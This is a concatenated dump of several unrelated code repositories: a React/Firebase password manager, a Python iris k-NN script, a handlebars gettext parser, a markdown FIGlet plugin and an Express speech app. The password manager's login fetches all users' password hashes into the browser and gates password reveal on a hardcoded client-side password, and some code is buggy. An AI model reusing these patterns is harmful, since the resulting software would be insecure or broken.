return 0 }) } }<file_sep>/client/src/components/Home.jsx import React, { Component } from 'react'; import { connect } from 'react-redux' import {Link} from 'react-router-dom' import { push } from 'react-router-redux' import { bindActionCreators } from 'redux' import { getAllData, postManage, openModalAdd, deleteManage, editManage, search, passwordShow } from '../store/user.action/action.Action' import { signout_user } from '../store/user.login/login.Action' import '../styles/home.css' import swal from 'sweetalert' // Validation import PropTypes from 'prop-types'; // Components import HomeContainer from './Home/HomeContainer.jsx' import AddManage from './Home/AddManage.jsx' import EditManage from './Home/EditManage.jsx' import Search from './Home/Search.jsx' class Home extends Component { constructor() { super() this.state = { listId: '', url: '', username: '' } } componentDidMount () { const userid = localStorage.getItem('userid') if (!userid) { this.props.history.push('/login') } else { this.props.getAllData(userid) } } signout = () => { localStorage.removeItem('userid') this.props.signout_user() } submitForm = (value) =>{ const userid = localStorage.getItem('userid') this.props.postManage({ form: value, userid: userid, }) } modalOpen = () => { this.props.openModalAdd() } deleteManage = (id, url, username) => { swal({ title: 'Removed Item', text: 'Are you sure?', icon: 'warning', buttons: { ok: 'Ok', cancel: 'cancel' } }).then ((value) => { if (value === 'ok') { this.props.deleteManage({id, url, username}) } }) } submitEdit = (value) => { value['listId'] = this.state.listId this.props.editManage(value) } parseId = (id) => { this.setState({ listId: id }) } searchKey = (value) => { this.props.search({value}) } showPassword = (url, username) => { this.setState({ url:url, username: username }) } getRealPass = () => { let obj = { url: this.state.url, username: this.state.username, data: this.props.action.data } this.props.passwordShow(obj) } render() { return ( <div> {/* Modal Site */} <AddManage submitForm={this.submitForm}></AddManage> <nav className="navbar navbar-expand-lg navbar-light bg-light"> <div className="collapse navbar-collapse" id="navbarSupportedContent"> <ul className="navbar-nav"> <li className="nav-item active"> <a onClick={this.modalOpen} className="nav-link" data-toggle="modal" data-target="#addManageModal">Add</a> </li> <li className="nav-item active"> <Link to={'/login'} onClick={this.signout} className="nav-link">Log Out</Link> </li> </ul> <Search searchKey={this.searchKey}></Search> </div> </nav> <HomeContainer deleteManage={this.deleteManage} editManage={this.editManage} parseId={this.parseId} showPassword={this.showPassword} getRealPass={this.getRealPass}></HomeContainer> <EditManage editForm={this.submitEdit}></EditManage> </div> ) } } const mapStateToProps = (state) => { return { login: state.login, action: state.action } } const mapDispatchToProps = (dispatch) => bindActionCreators({ getAllData, signout_user, postManage, openModalAdd, deleteManage, editManage, search, passwordShow }, dispatch) export default connect(mapStateToProps, mapDispatchToProps)(Home) <file_sep>/client/src/components/Login/SignUp.jsx import React, { Component } from 'react'; import '../../styles/login.css' import { connect } from 'react-redux' import { bindActionCreators } from 'redux' import { signup_user } from '../../store/user.login/login.Action' class SignUp extends Component { constructor() { super() this.state = { username: '', email: '', password: '' } } OncChangeModel = (e) => { this.setState({ [e.target.name]: e.target.value }) } render() { return ( <div className="col-lg-6"> <form className="col-lg-10 form"> <div className="form-title"> <h4>Create New User</h4> </div> <div className="form-group"> <label>Username</label> <input className="form-control" name="username" type="text" onChange={this.OncChangeModel}/> </div> <div className="form-group"> <label>Email Address</label> <input className="form-control" name="email" onChange={this.OncChangeModel} type="text"/> </div> <div className="form-group"> <label>Password</label> <input className="form-control" name="password" onChange={this.OncChangeModel} type="password"/> </div> <button type="button" className="btn btn btn-outline-primary" onClick={() => this.props.submit(this.state)}>Sign up</button> </form> </div> ) } } const mapStateToProps = (state) => { return { } } const mapDispatchToProps = (dispatch) => bindActionCreators({ signup_user }, dispatch) export default connect(mapStateToProps, mapDispatchToProps)(SignUp) <file_sep>/client/src/store/index.js import { createStore, applyMiddleware, combineReducers } from 'redux' import user_login from './user.login/login.reducer' import user_action from './user.action/action.reducer' import thunk from 'redux-thunk' import { syncHistoryWithStore, routerReducer } from 'react-router-redux' import logger from 'redux-logger' const reducers = combineReducers({ login: user_login, action: user_action }) const store = createStore(reducers, applyMiddleware(thunk, logger)) export default store<file_sep>/client/src/store/user.login/login.actionTypes.js export const SIGNUP_USER = 'SIGNUP_USER' export const LOGIN_USER = 'LOGIN_USER' export const PASSWORD_ERROR = '<PASSWORD>' export const EMAIL_ERROR = 'EMAIL_ERROR' export const SIGN_OUT = 'SIGN_OUT' export const LOGIN_LOADING = 'LOGIN_LOADING'<file_sep>/client/src/components/Home/HomeContainer.jsx import React, { Component } from 'react'; import { connect } from 'react-redux' import { bindActionCreators } from 'redux' import '../../styles/home-container.css' import ModalVerify from './Modalverify' import swal from 'sweetalert' class HomeContainer extends Component { checkpassword = (password) => { if (password === '<PASSWORD>') { this.props.getRealPass(password) } else { swal({ title: 'General Password Salah', icon: 'warning', button: 'Revise' }) } } render() { return ( <div className="content"> <ModalVerify checkpassword={this.checkpassword}></ModalVerify> <table className="table"> <thead> <tr> <th scope="col">URL</th> <th scope="col">Username</th> <th scope="col">Password</th> <th scope="col">Created At</th> <th scope="col">Updated At</th> <th scope="col">Action</th> </tr> </thead> <tbody> { this.props.action.data.length > 0 && this.props.action.data.map((value, i) => ( <tr key={i}> <td>{value.value.url}</td> <td>{value.value.username}</td> <td> <span>{value.value.blankPass}</span> <a data-toggle="modal" data-target="#showPass" onClick={ () => this.props.showPassword(value.value.url, value.value.username)} > <i className="fas fa-eye show"></i> </a> </td> <td>{value.value.created}</td> <td>{value.value.updated}</td> <td> <a data-toggle="modal" data-target="#editManageManager" onClick={()=>this.props.parseId(value.id,value.value.url,value.value.username)}><i className="fas fa-edit icon"></i></a> <a onClick={()=>this.props.deleteManage(value.id)}><i className="fas fa-trash-alt icon"></i></a> </td> </tr> )) } </tbody> </table> </div> ) } }; const mapStateToProps = (state) => { return { action: state.action } } const mapDispatchToProps = (dispatch) => bindActionCreators({ }, dispatch) export default connect(mapStateToProps, mapDispatchToProps)(HomeContainer)<file_sep>/client/src/components/Home/Search.jsx import React, { Component } from 'react'; class Search extends Component { constructor() { super() this.state = { search: '' } } searchinput = (e) => { this.setState({ [e.target.name]: e.target.value }) } submitSearch = () => { this.props.searchKey(this.state.search) } render() { return ( <form className="form-inline my-2 my-lg-0"> <input className="form-control mr-sm-2" name="search" onChange={this.searchinput} placeholder="Search" aria-label="Search"/> <button onClick={this.submitSearch} className="btn btn-outline-success my-2 my-sm-0" type="button">Search</button> </form> ) } }; export default Search<file_sep>/client/src/components/Home/AddManage.jsx import React, { Component } from 'react'; import moment from 'moment' import { connect } from 'react-redux' import swal from 'sweetalert'; class ModalAdd extends Component { constructor(){ super() this.state = { url: '', username: '', password: '', uppercase: false, lowercase: false, special: false, number: false, fiveDigits: false, } } onChange = (e) => { this.setState({ [e.target.name]: e.target.value }) if (e.target.name === 'password') { const regexSpecial = /[^a-zA-Z0-9]/ if (e.target.value.match(regexSpecial) !== null) { this.setState({ special: true }) } let upperCase = new RegExp("^(?=.*[A-Z])"); if (e.target.value.match(upperCase) !== null) { this.setState({ uppercase: true }) } let lowercase = new RegExp("^(?=.*[a-z])"); if (e.target.value.match(lowercase) !== null) { this.setState({ lowercase: true }) } let number = new RegExp("^(?=.*[0-9])"); if (e.target.value.match(number) !== null) { this.setState({ number: true }) } let digits = new RegExp("^(?=.{5,})"); if (e.target.value.match(digits) !== null) { this.setState({ fiveDigits: true }) } } } submit = () => { if (this.state.uppercase && this.state.lowercase && this.state.special && this.state.number && this.state.fiveDigits ) { let obj = { url: this.state.url, username: this.state.username, password: <PASSWORD>, created: moment().format('LLL'), updated: moment().format('LLL') } this.props.submitForm(obj) } else { swal ({ title: 'Nothing has been added', icon: 'warning', button: 'OK' }).then(() => { }) } } render() { return ( <div id="addManageModal" className="modal" tabIndex="-1" role="dialog"> <div className="modal-dialog" role="document"> <div className="modal-content"> <div className="modal-header"> <h5 className="modal-title">Add URL</h5> </div> <div className="modal-body"> <form> <div className="form-group"> <label>URL</label> <input autoComplete="off" className="form-control" type="text" name="url" onChange={this.onChange}/> </div> <div className="form-group"> <label>Username</label> <input autoComplete="off" className="form-control" type="text" name="username" onChange={this.onChange}/> </div> <div className="form-group"> <label>Password</label> <input autoComplete="off" className="form-control" type="text" name="password" onChange={this.onChange}/> </div> <div className="password-strength"> <div className="password-strength-title"> <h6 className="password-strength-title-font">Password Strength:</h6> <div className="form-group requirement"> <span className="password-strength-require-font">Password harus memiliki setidaknya satu karakter huruf besar (upper - case)</span> { this.state.uppercase === true && <i className="fas fa-check"></i> } </div> <div className="form-group requirement"> <span className="password-strength-require-font">Password harus memiliki setidaknya satu karakter huruf kecil (lower - case)</span> { this.state.lowercase === true && <i className="fas fa-check"></i> } </div> <div className="form-group requirement"> <span className="password-strength-require-font">Password harus memiliki setidaknya satu karakter special (!&%^£)</span> { this.state.special === true && <i className="fas fa-check"></i> } </div> <div className="form-group requirement"> <span className="password-strength-require-font">Password harus memiliki setidaknya satu angka</span> { this.state.number === true && <i className="fas fa-check"></i> } </div> <div className="form-group requirement"> <span className="password-strength-require-font">Password harus memiliki panjang lebih dari 5 karakter</span> { this.state.fiveDigits === true && <i className="fas fa-check"></i> } </div> </div> </div> </form> </div> <div className="modal-footer"> <button type="button" onClick={this.submit} className="btn btn-primary" data-dismiss="modal">Save changes</button> <button type="button" className="btn btn-secondary" data-dismiss="modal">Close</button> </div> </div> </div> </div> ) } } const mapStateToProps = (state) => { return { action: state.action } } export default connect(mapStateToProps, null)(ModalAdd) <file_sep>/client/src/App.js import React, { Component } from 'react'; import logo from './logo.svg'; import './App.css'; import {BrowserRouter, Route, Switch} from 'react-router-dom' import Home from './components/Home.jsx' import LoginSite from './components/Login.jsx' class App extends Component { render() { return ( <BrowserRouter> <div className="App"> <header className="App-header"> <img src={logo} className="App-logo" alt="logo" /> <h1 className="App-title">Manage Your Password Here</h1> </header> <Switch> <Route exact path ="/" component = {Home}/> <Route exact path ="/login" component = {LoginSite}/> </Switch> </div> </BrowserRouter> ); } } export default App; <file_sep>/client/src/store/user.login/login.Action.js import db from '../firebase' import { SIGNUP_USER, LOGIN_USER, PASSWORD_ERROR, EMAIL_ERROR, LOGIN_LOADING, SIGN_OUT } from './login.actionTypes' const UserRef = db.ref('User') const bcryptjs = require('bcryptjs') const saltRounds = 10 export const signup_user = (payload) => { return dispatch => { dispatch(LOGINUSER_LOADING()) let salt = bcryptjs.genSaltSync(saltRounds); let hash = bcryptjs.hashSync(payload.password, salt); UserRef.push({ username: payload.username, email: payload.email, password: <PASSWORD>, }).then((data) => { localStorage.setItem('userid', data.key) dispatch(SIGNUPUSER(data.key)) }) } } const SIGNUPUSER = (data) => ({ type: SIGNUP_USER, payload: data }) export const login_user = (payload) => { return dispatch => { dispatch(LOGINUSER_LOADING()) UserRef.once('value').then((snapshot) => { let data = snapshot.val() let count = 0 Object.keys(data).forEach((key, i) => { if (data[key].email === payload.email) { let check = bcryptjs.compareSync(payload.password, data[key].password) if (check) { localStorage.setItem('userid', key) dispatch(LOGINUSER(key)) return 0 } else { dispatch(LOGINUSER_PASWORD_ERROR()) return 0 } } count++ }) if (count > 0) { dispatch(LOGINUSER_EMAIL_ERROR()) return 0 } }) } } const LOGINUSER = (data) => ({ type: LOGIN_USER, payload: data }) const LOGINUSER_LOADING = () => ({ type: 'LOGIN_LOADING' }) const LOGINUSER_PASWORD_ERROR = () => ({ type: PASSWORD_ERROR }) const LOGINUSER_EMAIL_ERROR = () => ({ type: EMAIL_ERROR }) export const signout_user = () => { return dispatch => { dispatch(SIGNOUT()) } } const SIGNOUT = () => { type: SIGN_OUT }<file_sep>/client/src/components/Login/Login.jsx import React, { Component } from 'react'; import '../../styles/login.css' import { bindActionCreators } from 'redux' import { connect } from 'react-redux' import { login_user } from '../../store/user.login/login.Action' import {Link} from 'react-router-dom' class Login extends Component { constructor(){ super() this.state = { email: '', password: '' } } onChange = (e) => { this.setState({ [e.target.name]: e.target.value }) } render() { return ( <div className="col-lg-6"> <form className="col-lg-10 form"> <div className="form-title"> <h4>Login</h4> </div> <div className="form-group"> <label>Email Address</label> <input type="text" name="email" className="form-control" onChange={this.onChange}/> { this.props.login.email && <small className="form-text">Wrong Email Address</small> } </div> <div className="form-group"> <label>Password</label> <input type="<PASSWORD>" name="password" className="form-control" onChange={this.onChange}/> { this.props.login.password && <small className="form-text">Wrong Password</small> } </div> <button type="button" onClick={() => this.props.submit(this.state)} className="btn btn btn-outline-primary">Login</button> </form> </div> ) } } const mapStateToProps = (state) => { return { login: state.login } } const mapDispatchToProps = (dispatch) => bindActionCreators({ login_user }, dispatch) export default connect(mapStateToProps, mapDispatchToProps)(Login) <file_sep>/client/src/store/user.action/action.actionTypes.js export const ASSIGN_DATA = 'ASSIGN_DATA' export const SIGN_OUT = 'SIGN_OUT' export const ASSIGN_CREATE = 'ASSIGN_CREATE' export const OPEN_MODAL_ADD = 'OPEN_MODAL_ADD'<file_sep>/client/src/store/user.action/action.reducer.js const initialize = { data: [], modalAdd: false } const reducer = (state = initialize, action) => { switch (action.type) { case 'ASSIGN_DATA': { return { ...state, data: action.payload } } case 'ASSIGN_CREATE': { return { ...state, data: action.payload, modalAdd: false } } case 'OPEN_MODAL_ADD': { return { ...state, modalAdd: true } } default: return state; } } export default reducer
71b76c6cbbfeb3bfc86c2cecc1841ce0b5dca823
[ "JavaScript" ]
14
JavaScript
kevinhimawan/react-password-manager
c121ae1274a43d7899904216792c72c463288fe1
991f232052635d7a1529d71e03a3cbbf0363c11e
refs/heads/main
<file_sep>#!/usr/bin/env python # coding: utf-8 # In[1]: import numpy as np, pandas as pd, matplotlib.pyplot as plt from sklearn import tree, metrics, model_selection, preprocessing  from sklearn.neighbors import KNeighborsClassifier df = pd.read_csv('iris.csv') y = df.iloc[:,-1].values x = df.iloc[:,0:4].values x_train, x_test, y_train, y_test = model_selection.train_test_split(x, y, test_size = 0.2) classifier = KNeighborsClassifier(n_neighbors=3) classifier.fit(x_train,y_train) y_predict = classifier.predict(x_test) acuuracy = metrics.accuracy_score(y_test, y_predict) confusion_matrix(y_test, y_predict) # In[ ]:
b2d89a3b38e86d99411bf9a0448f72bec533a83e
[ "Python" ]
1
Python
nayana388/ML-lab
6c7b923afe8f1f0921ea6bf6f9150ef9a88780cd
ac458d94e517a4a63372fa41beab947c90be3150
refs/heads/master
<repo_name>vialink/handlebars-xgettext<file_sep>/lib/handlebars-xgettext.js /** * handlebars-xgettext * Extract translatable strings from Handlebars templates. */ var fs = require('fs'), path = require('path'), readdirp = require('readdirp'), _ = require('underscore'), Parser = require('./parser'), Gettext = require('node-gettext'); /** * Parse input for save the i18n strings to a PO file. * * @param {Array} files (optional) * @param {Object} options (optional) * @param {Function(Buffer)} callback (optional) */ function parse(files, options, callback) { if (!files && !options.directory && !options['files-from']) { throw 'No input specified'; } if (typeof files === 'string') { files = [files]; } options = _.extend({ 'from-code': 'utf8', 'force-po': false }, options); var gt = new Gettext(), gtDomain = null, gtContext = false, po; gt.addTextdomain(gtDomain); function parseFiles (files) { var parser = new Parser(options.keyword), strings = {}, template, relativePath; function concat (memo, lines, file) { lines.forEach(function (line) { memo.push(file + ':' + line); }); return memo; } files.forEach(function (file) { template = fs.readFileSync(path.resolve(file), options['from-code']); relativePath = file.split(path.sep).join('/'); _.each(parser.parse(template), function (line, str) { strings[str] = strings[str] || {}; strings[str][relativePath] = (strings[str][relativePath] || []).concat(line); }); }); for (var str in strings) { gt.setTranslation(gtDomain, gtContext, str, null); gt.setComment(gtDomain, gtContext, str, {code: _.reduce(strings[str], concat, []).join('\n')}); } } function output () { if (callback) { if (Object.keys(gt.listKeys(gtDomain)).length > 0 || options['force-po']) { po = gt.compilePO(); if (options.output) { fs.writeFileSync(options.output, po); } } callback(po); } } if (options.directory) { readdirp({root: options.directory}, function(err, res) { if (err) { throw err; } parseFiles(res.files.map(function (file) { return file.fullPath; })); output(); }); } else { if (files) { parseFiles(files); } output(); } } module.exports = parse; <file_sep>/lib/parser.js var newline = /\r?\n|\r/g; /** * Constructor */ function Parser(keywords) { if (!keywords) { keywords = ['gettext', '_', '_n']; } if (typeof keywords === 'string') { keywords = [keywords]; } this.keywords = keywords; //this.pattern = new RegExp('\\{\\{(?:' + keywords.join('|') + ') "((?:\\\\.|[^"\\\\])*)" ?\\}\\}', 'gm'); this.pattern = new RegExp('\\{\\{(?:' + keywords.join('|') + ') ((?:\\\\.|[^\\}\\\\])*)\\}\\}', 'gm'); this.subpattern = /"((?:\\.|[^"\\])*)"/g; } /** * Given a Handlebars template string returns the list of i18n strings. * * @param {string} template The content of a HBS template. * @return {Object.<string, array>} The list of translatable strings and the lines on which they appear. */ Parser.prototype.parse = function (template) { var result = {}, match; while ((match = this.pattern.exec(template)) !== null) { var helperargs = match[1]; var line = template.substr(0, match.index).split(newline).length; // find all strings in args while ((match = this.subpattern.exec(helperargs)) !== null) { result[match[1]] = result[match[1]] || []; result[match[1]].push(line); } } return result; }; module.exports = Parser;
45645bd6facd806a4833bd03f6e6d22c71641d35
[ "JavaScript" ]
2
JavaScript
vialink/handlebars-xgettext
462850fdd9652635ba0e404ca24864322ef907ea
1630b57c366d445d3ef5c4943d099d180316cf55
refs/heads/master
<file_sep>package com.awra.stud.testtaskapp.game import android.content.Context import android.graphics.* import android.graphics.drawable.Drawable import com.awra.stud.testtaskapp.R class ViewDrawLine(context: Context) : Drawable() { var pointFrom = PointF(0f, 0f) var pointTo = PointF(0f, 0f) val paint = Paint().apply { color = Color.RED;strokeWidth = context.resources.getDimension(R.dimen.width_line) } private var width: Int = 0 private var height: Int = 0 override fun draw(canvas: Canvas) { width = canvas.clipBounds.width() height = canvas.clipBounds.height() if (!pointFrom.equals(pointTo)) canvas.drawLine(pointFrom.x, pointFrom.y, pointTo.x, pointTo.y, paint) } fun drawLine(from: Int, to: Int) { pointFrom.x = (width / 3 * (from % 3) + width / 6).toFloat() pointFrom.y = (height / 3 * (from / 3) + height / 6).toFloat() pointTo.x = (width / 3 * (to % 3) + width / 6).toFloat() pointTo.y = (height / 3 * (to / 3) + height / 6).toFloat() invalidateSelf() } override fun setAlpha(alpha: Int) { paint.alpha = alpha } override fun setColorFilter(colorFilter: ColorFilter?) { paint.colorFilter = colorFilter } override fun getOpacity() = PixelFormat.OPAQUE }<file_sep>package com.awra.stud.testtask.game import android.os.Bundle import android.view.LayoutInflater import android.view.View import android.view.ViewGroup import android.widget.LinearLayout import android.widget.TextView import androidx.databinding.BindingAdapter import androidx.databinding.DataBindingUtil import androidx.fragment.app.Fragment import com.awra.stud.testtaskapp.R import com.awra.stud.testtaskapp.databinding.GameLayoutBinding import com.awra.stud.testtaskapp.game.Game import com.awra.stud.testtaskapp.game.ViewDrawLine class GameFragment : Fragment() { val game: Game = Game() override fun onCreateView( inflater: LayoutInflater, container: ViewGroup?, savedInstanceState: Bundle? ): View? { val layoutBinding = DataBindingUtil.inflate<GameLayoutBinding>( inflater, R.layout.game_layout, container, false ) layoutBinding.game = game val overlayLineView = ViewDrawLine(requireContext()) layoutBinding.root.findViewById<LinearLayout>(R.id.grid_view).overlay.add(overlayLineView) game.callbackDrawLine = overlayLineView::drawLine game.restart() return layoutBinding.root } } @BindingAdapter("app:finishMsg") fun setMsgWin(view: TextView, stringId: Int?) { view.visibility = if (stringId == null) View.INVISIBLE else View.VISIBLE stringId?.let { view.setText(it) } } <file_sep>package com.awra.stud.testtaskapp.webview import android.os.Build import android.webkit.WebResourceRequest import android.webkit.WebView import android.webkit.WebViewClient import androidx.annotation.RequiresApi class AppWebViewClient : WebViewClient() { override fun shouldOverrideUrlLoading(view: WebView?, url: String?): Boolean { url?.let { view?.loadUrl(it) } return true } @RequiresApi(Build.VERSION_CODES.LOLLIPOP) override fun shouldOverrideUrlLoading(view: WebView?, request: WebResourceRequest?): Boolean { request?.let { view?.loadUrl(it.url.toString()) } return true } }<file_sep>package com.awra.stud.testtaskapp import android.content.Context import android.content.Context.CONNECTIVITY_SERVICE import android.content.Context.MODE_PRIVATE import android.net.ConnectivityManager import android.net.NetworkCapabilities.* import android.os.Build import android.util.Log fun Context.isConnect(): Boolean { "isConnect()".log() val cm = getSystemService(CONNECTIVITY_SERVICE) as ConnectivityManager if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) { cm.getNetworkCapabilities(cm.activeNetwork)?.let { return when { it.hasTransport(TRANSPORT_CELLULAR) -> true it.hasTransport(TRANSPORT_WIFI) -> true it.hasTransport(TRANSPORT_ETHERNET) -> true else -> false } } ?: return false } else { return cm.activeNetworkInfo?.isAvailable == true } } /** * @return true- run WebView, false - run game */ fun Context.getRunMode(): Boolean { val sp = getSharedPreferences(NAME_SP, MODE_PRIVATE) if (sp.contains(NAME_PROPERTY)) return sp.getBoolean(NAME_PROPERTY, true) else return isConnect().also { sp.edit().putBoolean(NAME_PROPERTY, it).apply() } } fun String.log() { Log.d("Logger", this) } const val NAME_PROPERTY = "NAME_PROPERTY" const val NAME_SP = "data"<file_sep>package com.awra.stud.testtaskapp.game import androidx.databinding.ObservableField import com.awra.stud.testtaskapp.R import com.awra.stud.testtaskapp.log import kotlin.random.Random class Game { var callbackDrawLine: (fromCell: Int, toCell: Int) -> Unit = { fromCell, toCell -> } val finishGameObservable = ObservableField<Int>() var userMoveObservable = ObservableField<Boolean>(true) private var userSymbol = "X" private var opponentSymbol = "O" private var emptySymbol = "" private var indexes = List(9) { it }.shuffled().toMutableList() private var userIndexes = MutableList(0) { 0 } private var opponentIndexes = MutableList(0) { 0 } private var gameFinish = true val arrayValues = Array<ObservableField<String>>(9) { ObservableField(emptySymbol) } private var userMove = false set(value) { field = value userMoveObservable.set(field) if (!field) moveOpponent() } fun clickUser(button: Int) { "click $button".log() if (!gameFinish && indexes.contains(button)) { indexes.remove(button) userIndexes.add(button) arrayValues[button].set(userSymbol) checkFinish() userMove = false } Int } fun restart() { "click restart".log() arrayValues.forEach { it.set(emptySymbol) } indexes = List(9) { it }.shuffled().toMutableList() gameFinish = false userIndexes.clear() opponentIndexes.clear() finishGameObservable.set(null) callbackDrawLine(0, 0) userMove = Random.nextBoolean() } private fun moveOpponent() { if (!gameFinish) { arrayValues[indexes[0]].set(opponentSymbol) opponentIndexes.add(indexes[0]) indexes.removeAt(0) checkFinish() userMove = true } } private fun checkEmpty(index: Int) = arrayValues[index].get().equals(emptySymbol) private fun checkFinish() { if (indexes.isEmpty()) { finishGameObservable.set(R.string.msg_tie) gameFinish = true } val tempIndexes = if (userMove) userIndexes else opponentIndexes finishCombinations .find { tempIndexes.containsAll(it) } ?.let { finishGameObservable.set(if (userMove) R.string.msg_you_won else R.string.msg_you_lose) gameFinish = true callbackDrawLine(it.first(), it.last()) } } val finishCombinations = arrayOf( setOf(0, 1, 2), setOf(3, 4, 5), setOf(6, 7, 8), setOf(0, 3, 6), setOf(1, 4, 7), setOf(2, 5, 8), setOf(0, 4, 8), setOf(2, 4, 6), ) }<file_sep>package com.awra.stud.testtaskapp.webview import android.os.Bundle import android.view.LayoutInflater import android.view.View import android.view.ViewGroup import android.webkit.CookieManager import android.webkit.WebView import androidx.fragment.app.Fragment class WebViewFragment : Fragment() { override fun onCreateView( inflater: LayoutInflater, container: ViewGroup?, savedInstanceState: Bundle? ): View? { return WebView(requireContext()).apply { CookieManager.getInstance().setAcceptCookie(true) settings.javaScriptEnabled = true settings.setAppCacheEnabled(true) webViewClient = AppWebViewClient() loadUrl("https://html5test.com/") } } }
d96538c72631b3a9fbea9478e0aee6a339c1adc6
[ "Kotlin" ]
6
Kotlin
PeterAwra/TestTaskApp
f5af63405f7b42f420f0e47752d4858b50b71703
4daff93129a1d0ed7b91c753ec4468f2e69c69b7
refs/heads/master
<file_sep>"use strict"; const path = require('path'); const markdownMagic = require('markdown-magic'); const { FIGLET } = require('./index.js'); const config = { transforms: { FIGLET: FIGLET({ variables: { foo: 'bar' } }), }, }; const markdownPath = path.join(__dirname, 'README.md'); markdownMagic(markdownPath, config); <file_sep># FIGlet plugin Add version badge to markdown files via [markdown-magic](https://github.com/DavidWells/markdown-magic) ## Install ``` npm i markdown-magic markdown-magic-version-badge --save-dev ``` ## Adding the plugin See `example.js` for usage. <!-- AUTO-GENERATED-CONTENT:START (CODE:src=./example.js) --> <!-- The below code snippet is automatically added from ./example.js --> ```js "use strict"; const path = require('path'); const markdownMagic = require('markdown-magic'); const { FIGLET } = require('./index.js'); const config = { transforms: { FIGLET: FIGLET({ variables: { foo: 'bar' } }), }, }; const markdownPath = path.join(__dirname, 'README.md'); markdownMagic(markdownPath, config); ``` <!-- AUTO-GENERATED-CONTENT:END *--> ## Usage in markdown <!-- AUTO-GENERATED-CONTENT:START (FIGLET:text=figlet <%= foo %>&font=Ogre&horizontalLayout=fitted) --> <pre> __ _ _ _ _ / _|(_) __ _ | | ___ | |_ | |__ __ _ _ __ | |_ | | / _` || | / _ \| __| | '_ \ / _` || '__| | _|| || (_| || || __/| |_ | |_) || (_| || | |_| |_| \__, ||_| \___| \__| |_.__/ \__,_||_| |___/ </pre> <!-- AUTO-GENERATED-CONTENT:END --> ## Options ### Transform factory options - **variables**: any object made of properties you can reuse in the rendered lodash template. ### Content generator options The options propagated to [figlet.text options](https://www.npmjs.com/package/figlet#text) and use the same defaults. The text option can be a [lodash template](https://lodash.com/docs/4.17.10#template). <file_sep>'use strict'; const findRoot = require('find-root'); const figlet = require('figlet'); const merge = require('lodash/merge'); const template = require('lodash/template'); const ownerApplicationPackage = require(`${findRoot(process.cwd())}/package.json`); // eslint-disable-line import/no-dynamic-require const wrapWithPre = ({ code = '' }) => `<pre>\n${code}\n</pre>`; module.exports = ({ variables }) => (content, { text = '', font = 'Standard', horizontalLayout = 'default', verticalLayout = 'default', printDirection = 0, showHardBlanks = 'false', }) => wrapWithPre({ code: template(text)(merge({}, ownerApplicationPackage, variables)).split(/\\n/).map(textPart => figlet.textSync(template(textPart.trim())(ownerApplicationPackage), { font, horizontalLayout, verticalLayout, printDirection, showHardBlanks: showHardBlanks === 'true', })).join('\n'), });
c105ff07172bbd7b8a1a8cf017bc00065aea4d06
[ "JavaScript", "Markdown" ]
3
JavaScript
shahbaz-ali/markdown-magic-figlet
1116e8c71e323fe5d903b6963be70fd482410591
211bbcaa51d4781c112e2a4061ecdf3e2d983f62
refs/heads/master
<repo_name>ObamaPhony/node-app<file_sep>/util.js var spawn = require('child_process').spawn; var winston = require('winston'); exports.logger = winston.createLogger({ transports: [ new (winston.transports.Console)({ level: 'info', handleExceptions: true, json: false, colorize: true }), new (winston.transports.File)({ level: 'info', filename: './app.log', handleExceptions: true, maxSize: 5242880, json: true, maxfiles: 6, colorize: false, }) ], exitOnError: false }); exports.log = { write: function (message, encoding) { exports.logger.info(message) } }; exports.status = function (response, code) { response.status(code); response.json({ err: code }); }; exports.error = function (response, err) { this.status(response, 500); this.logger.error(err); }; exports.spawn = function (bin, stdin, next, args) { var proc = spawn(bin, args); var buffer = ''; proc.stdout.on('data', function (data) { buffer += data; }); proc.stdout.on('end', function () { var json = JSON.parse(buffer); next(json); }); proc.stdin.write(stdin); proc.stdin.end(); }; <file_sep>/routes/index.js var router = require("express").Router(); module.exports = router; router.get("/", function (request, response) { response.render("index"); }); router.get("/make", function (request, response) { response.render("make"); }); router.get("/speech/:id", require("./speech")); router.use("/api/", require("./rest")); router.use(function (request, response, next) { response.status(404); response.format({ /* plain text error */ "text/plain": function () { response.send("404 Not Found"); }, /* valid JSON */ "application/json": function () { response.send({ err: 404 }); }, /* fancy error page */ "text/html": function () { response.render("error"); }, "default": function () { res.status(406); /* 406 Not Acceptable */ } }); }); <file_sep>/database/index.js var mongodb = require("mongodb"); var DEFAULT_TABLE = require("../package.json").name; var DEFAULT_URI = "mongodb://localhost/" + DEFAULT_TABLE; module.exports = function (next) { if (process.env.MONGO_PORT_27017_TCP) { process.env.MONGO_URI = process.env.MONGO_PORT_27017_TCP .replace(/^tcp:/, "mongodb:") .replace(/$/, "/" + DEFAULT_TABLE); } mongodb.MongoClient.connect(process.env.MONGO_URI || DEFAULT_URI, function (err, db) { if (err) { throw err; } module.exports = db; next(db); }); }; <file_sep>/routes/rest/sources.js var router = require("express").Router(); var util = require("../../util"); var db = require("../../database"); var mongo = require("mongodb"); module.exports = router; var status = util.status; var error = util.error; function analyse(doc, next) { if (doc.analysis) { next(doc); } else { util.spawn("./bin/analyse", doc.speeches.join("\n"), function (json) { doc.analysis = json; db.collection("sources").update({ _id: mongo.ObjectId(doc._id) }, { $set: { analysis: doc.analysis } }); next(doc); }); } } module.exports.analyse = analyse; router.get("/", function (request, response) { /* * should list all preset sources * * output: * [ * { * id: "identifier", * name: "the name (e.g. Barack Obama)" * }, * ] */ db.collection("sources").find({ preset: true }).map(function (doc) { return { id: doc._id, name: doc.name }; }).toArray(function (err, sources) { if (err) { error(err, response); return; } response.json(sources); }); }); router.get("/:id", function (request, response) { /* * should return the source named by id * * output: * { * err: status || null, * id: "identifier", // couldn't hurt, could it? * name: "the name (e.g. Barack Obama)", * analysis: [ analysis, ] * } */ if (!mongo.ObjectId.isValid(request.params.id)) { status(response, 404); return; } db.collection("sources").findOne({ _id: mongo.ObjectId(request.params.id), }, function (err, doc) { if (err) { error(err, response); return; } if (doc == null) { status(response, 404); return; } analyse(doc, function () { response.json({ id: doc._id, name: doc.name, analysis: doc.analysis, err: null }); }); }); }); <file_sep>/README.md Front-end ========= This is a placeholder README for the Frontend aspect of this project.
7cca70f427ce8e039674ce068a08244775998b0d
[ "JavaScript", "Markdown" ]
5
JavaScript
ObamaPhony/node-app
0ef2ce146acfce31ae4571d232ed8bbd616deb17
7697fef96b415f4354394e76e147ad82c5959280
refs/heads/master
